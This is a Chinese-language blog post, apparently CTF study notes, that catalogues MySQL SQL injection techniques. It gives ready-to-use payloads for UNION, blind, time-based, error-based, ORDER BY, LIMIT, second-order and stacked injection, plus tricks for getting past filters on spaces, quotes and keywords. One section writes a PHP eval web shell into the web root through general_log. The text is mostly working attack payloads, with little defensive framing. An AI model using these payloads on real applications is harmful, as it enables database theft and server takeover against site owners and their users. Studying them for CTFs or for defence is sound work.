SQL注入

翻译

Heiseweiye 于 2018-10-05 14:19:09 发布 303 收藏
分类专栏： web安全 文章标签： ctf


web安全 专栏收录该内容
12 篇文章 0 订阅
订阅专栏

一、MySQL注入

1. 常用信息查询 常用信息：

当前数据库名称：database()

当前用户：user() current_user() system_user()

当前数据库版本号：@@version version()

系统类型：@@version_compile_os

错误日志存储位置：@@log_error

数据库存储位置：@@datadir

系统数据库：

所有数据库：SELECT group_concat(schema_name) from information_schema.schemata

表名：

SELECT group_concat(table_name) from information_schema.tables where table_schema='库名'

SELECT group_concat(table_name) from information_schema.table_constraints where table_schema='库名' //当表中有约束时才可以查询

字段名：SELECT group_concat(column_name) from information_schema.columns where table_name='表名字'

所有用户：select group_concat(user) from mysql.user

2. UNION 注入

1. 猜字段长度：

?id=1 order by num order by 3 正常 order by 4 不正常 则有三个字段

2. 暴字段位置：

?id=-1 union select 1,2,3–+ 或 ?id=1 and 1=2 union select 1,2,3–+

3. 查询数据：

?id=-1 union select 1,(select user()),3 from admin

3. SQL 盲注

3.1 字符串操作函数

ascii(‘string‘) ord(‘string‘) 获得字符串第一个字符的ASCII码 char(ascii) 返回ASCII指向的字符

ascii(mid(‘string‘from(n))) 这样就可以，每次取第一个字符的ASCII码

hex(‘string‘) unhex(‘hex‘) 十六进制操作，注意没有0x bin()

select 0x…

left(‘string‘,n) right(‘string‘,n) //从左边（右边）开始截取n个字符

mid(‘string‘,start[,length]) substr(‘string‘,start[,length]) //截取字符串，位置从1开始

当逗号被过滤时：mid(‘string‘ from start for lenth)

当空格和for被过滤时：mid((‘string‘)from(start)) EG:mid((‘string‘)from(3)) =>ring

lpad(‘str‘,length,pad) rpad() 填充字符串，当mid() substr()被过滤时使用

意思是：在 str 左边填充 pad，字符串总长度长度为 length。EG：lpad(‘string‘,10,‘1‘) => 111111root

利用： lpad(‘string‘,1,1) => s

regexp ‘pattern‘ 使用正则

like 匹配 % 相当于 .* _ 相当于 . EG:select passwd from admin where user like ‘ro%‘;

reverse(‘abc‘) => cba 翻转字符串

strcmp(‘str1‘,‘str2‘); strcmp(‘a‘,‘b‘) => -1 strcmp(‘b‘,‘a‘) => 1

数字型注入，不用and or：

原来 index.php?id=1

index.php?id=strcmp(left(user(),1),‘a‘)+1; 这样一点一点地判断

position(‘str‘ in ‘string‘) 判断str是否在string里

LOCATE(s,sss,pos)返回子串 s 在字符串 sss 中的第 pos 位置后第一次出现的位置。如果 s 不在 sss 中返回 0。第一个位置返回 1。

length(字段) 返回字段长度 count(字段) 返回记录数目

3.2 构造布尔条件：

正常情况下：

false or bool true and bool

left(user(),1)>‘a‘ left(user(),2)>‘ra‘ ascii(left(user(),1))>80

if(bool,1,0)

绕过：

被过滤代码 绕过方法
and having bool like
^ 异或运算符：1^0=1 5^0=5 可以结合条件产生 0 1
使用 ^ : username=admin‘(ascii(mid((passwd)from(1)))>=10)^1‘=‘11^11 真
= > < 1 in (1) <> 不等于
与零比较：id=1 or 1 and ord(substr(user(),1,1))-114
LOCATE() 和 POSITION() 函数
空格 /**/ UNION(SELECT xx) where(id)=(2)and(1)=(1) %0a %0b %0c %0d %a0
引号 0x… 、 hex() 、 unhex() 、 char() 、 %df(宽字节)
order by into @,@,@… group by n
字符串黑名单 SELECT ‘a‘ ‘d‘ ‘mi‘ ‘n‘; CONCAT(‘a‘, ‘d‘); CONCAT_WS(‘‘, ‘a‘); group_concat(‘a‘,‘b‘)
if case when (bool) then 1 else 0 end
where having
id = 3 not id > 3 and not id < 4

> 10 not between 0 and 10

3.3 时间盲注
sleep(n) 延时n秒

benchmark(1000000,md5(1))

绕过：

if(bool,sleep(5),0) => case when (bool) then sleep(5) else 0 end

sleep((bool)*5) EG: sleep((substr(user(),1,1)=‘r‘)*5) 思维发散：利用bool各种加减乘除操作

4. 其他几种类型注入

4.1 Insert&Update 注入
闭合括号：

insert：可以依次提交如下输入：foo‘)-- - foo‘,1)-- - foo‘,1,1)-- - 等 ， 直到创建了想要的信息

数据回显：

构造语句使将查询的内容插入到数据库，然后根据网页上的显示获得数据。

但是MySQL一般不支持，使用+连接字符串，而是使用空格连接字符串。但是空格无法连接字符串 与 查询命令

思路：字符串与数字相加，相当于0+数字，就可以将要查询的字符串转换成十六进制，再转换成10进制，然后与字符串相加（即：+0 不变）

insert into stu(id,name) values(1,‘test‘ + conv(hex(user()),16,10));

但是conv() 支持最大的数 0xFFFFFFFFFFFFFFFF 有限制（即最多八个字符），可以用字符串截取函数分段截取。

使用报错：

insert into stu(id,name) values(1,‘test‘ and extravtvalue(xxx));

使用延时：

insert into stu(id,name) values(1,‘test‘ and if(xxx,sleep(5),0));

4.2 报错注入

select 1-a(); 当前库名

select count(*),concat(语句,floor(rand(0)*2))x from information_schema.tables group by x;

floor：

select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select user from mysql.user limit 1), floor(rand(0)*2)));

extractvalue：

extractvalue(1,concat(0x7e,(语句))) 最多只能返回32个字符

updatexml：

updatexml(1,concat(0x7e,(语句)),1) 最多只能返回32个字符

4.3 order by后的注入

报错注入：order by 1 and extractvalue(1, concat(0x7e, (select @@version),0x7e))

bool盲注：order by IF((bool),1,0) 这个比较特殊，并不会按照IF的返回值排序，利用方法时间盲注。另一种：order by IF ((bool),1,(select 1 union select 2)) bool=false 时，返回后一个结果，但是后一个返回两行数据造成报错，如果为真则不报错。

order by rand(true) or rand(false)

4.4 SQL约束注入

4.5 二次注入

原理：在第一次进行数据库插入数据的时候，仅仅只是使用了 addslashes 或者是借助get_magic_quotes_gpc 对其中的特殊字符进行了转义，在写入数据库的时候还是保留了原来的数据，但是数据本身还是脏数据。比如在第一次插入数据的时候，数据中带有单引号，直接插入到了数据库中；然后在下一次使用中在【拼凑】的过程中，就形成了二次注入。

实例： 强网杯 three hit ：http://www.freebuf.com/articles/web/167089.html

可以把二次注入的payload用十六进制编码写入数据库来绕过过滤

4.6 文件读写

load_file(绝对路径) select … into outfile ‘绝对路径‘

使用编码：

load_file(CHAR(67,58,92,92,84,69,83,84,46,116,120,116))

load_file(0x433a5c5c544553542e747874)

select 0x… into outfile ‘xxx‘

hex(load_file(path)) 加载二进制数据

利用 general_log 写文件(必须是root权限，当outfile被禁时)：

#利用方向：phpMyAdmin，开启-secure-file-priv选项，禁止执行 outfile，需要知道网站绝对路径
show variables like '%general%'; #查看当前日志位置
set global general_log = on; #默认关闭，现在开启
set global general_log_file = '/var/html/www/xxx.php'; #设置日志存储位置，创建shell文件
select '<?php eval($_POST[request]);?>'; #被保存到shell里

4.7 堆叠注入
限制条件：必须支持堆叠查询才行

可以插入管理员账号等

PHP中的：multi_query 可以堆叠查询

使用预处理语句绕过过滤：

set @sql=0x...; 0x...是经过十六进制编码的SQL语句

prepare @sql; excute @sql; 准备和执行

5. 技巧

5.1 反引号 `与@联合的妙用
反引号用来引住列名、表名和别名（别名可以省去 as）

@xxx 用来自定义变量（set @a=1;）

@`xxx` 可以被当做一个自定义变量

order by NULL 表示按默认的方式排序

【过滤了 # – -等注释符】
【PHP执行SQL的时候，`不闭合可以正常执行】 ? 【原语句】: select * from qs_members where username = 'xxx' and password = 'xxx'; 【插入payload】: select * from qs_members where username = 'qqq' union select 1,2,3` and password = 'xxx'; 这时候 ` 后面的一堆东西就变成了第三列的【别名】；

但是这样不行：select * from qs_members where username = 'xx' and extractvalue(1,concat(0x7e,payload)) `' and password = 'xxx'; 因为这里不能用作别名。

【当盲注、报错之类不用union的注入时，使用`注释】 【构造一个可以使用别名的地方，例如 order by,having 之类的】 select * from admin where id = 2-extractvalue(1,concat(0x7e,user())) order by` xxx;
这样不对，因为没有 xxx 这个列，所以执行错误
在`前加一个@的话： select * from admin where id = 2-extractvalue(1,concat(0x7e,user())) order by @`xxx;
@`xxx 被当做一个自定义变量，但没有这个变量，当做NULL，order by NULL 按默认方式处理，不会出错 ? select * from users where id > 1 or 1-@`and 0`; // or 1-NULL => or NULL => 前面为真

5.2 ★ 开头非数字的字符串=0，隐式转换
假设除了 ' 和 = - 其他的语句和符号都被过滤了

原语句：select * from admin where user = 'xxx';

注入方法：

select * from admin where user = 'yybin' = '';

where 后前半部分user='yybin'由于不存在这个用户，所以条件为假，等于0；就变成 where 0 = '' ，恒为真，所以条件成立，永真，可以查出来数据。

select * from admin where user =‘yybin‘ - ‘‘

先运算=后面，‘yybin‘-‘‘ 等于0，然后变成where user=0 ，由于隐式转换，所有user开头非大于0数字的字段都提符合条件，所以就提取出了数据。

发散： 由于 + - * / 都会进行运算，要运算就得把符号两边值算出来，然后进行加减乘除运算，于是这样：select * from admin where id = 1 - user() 就会变成1-字符串 ，等于0 ，没多大用。但既然会执行函数，就可以这样利用：select * from admin where id = 1 - extractvalue(xxx) 就会报错出数据。

MySQL字符串不区分大小写： select ‘a‘=‘A‘; => 1

与数字运算、比较时，字符串当做0： select ‘a‘+‘b‘;=>0 select ‘a‘+2;=> 2

5.3 猜解（当无权读取information_schema库时）

5.4 绕过未知字段名

select 1,2,3 union (select 1,2,c from (select 1,2 c union select * from flag)b) limit 1,1

select e.2 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user limit 1,1)e; 使用e.2是因为，select * from (select 1)a,(select 2)b,… 查询到的列名是 1,2,3… https://www.codercto.com/a/10162.html

5.5 group by [column] with rollup limit a offset b

limit a,b 跳过a个，选取b个

limit a offset b 跳过b个，选取a个

group by [column] with rollup会在column列最后加一个null，其他列继承上一行。当PHP取回密码用==与post来的空密码比较时，可绕过。EG: http://www.freebuf.com/column/150063.html

5.6 一种特殊的盲注

限制了字符串截取函数、比较运算符等东西，但可以使用 union，select，order by

payload： select password from user where user=‘admin‘ union select ‘z‘ order by 1;

可以使用order by 要查询数据的一个列，并不断改变select 后的字符串。不加order by时，前面select的数据排在上面，后面的数据排在下面，使用了后，就会按照字典排序，然后从z开始，一个一个判断前面的字符。

例如：数据表里的passwd是passwd，从z开始用order by判断，z页面不变，q不变，p就变了，然后测试‘pz‘，就这样一遍一遍的测试。因为MySQL不区分大小写，所以只测试小写字母就行了。

5.7 @的一种妙用

可以使用 set @a= 或 set @a:= 这样来给变量赋值，查询的时候select @a; 但是在select语句中使用@a:=(xxx)时，就会给变量赋值。

可以利用这个绕过一些限制，例如限制了组合语句(union select xxx from)

payload： select * from users where id =-1-@a:=(select xxx from xxx) union select @a; 5.2 说过运算符的妙用。

5.8 进制转换

hex() conv(num,from_base,to_base) 联合使用

5.9 limit 后的注入

select * from users limit 0,1 procedure analyse(extractvalue(1,concat(0x7e,user())),1);

5.10 字段名就类似变量

比如当 select 被过滤，而要查询password字段，则可以 left(password,1)

原文链接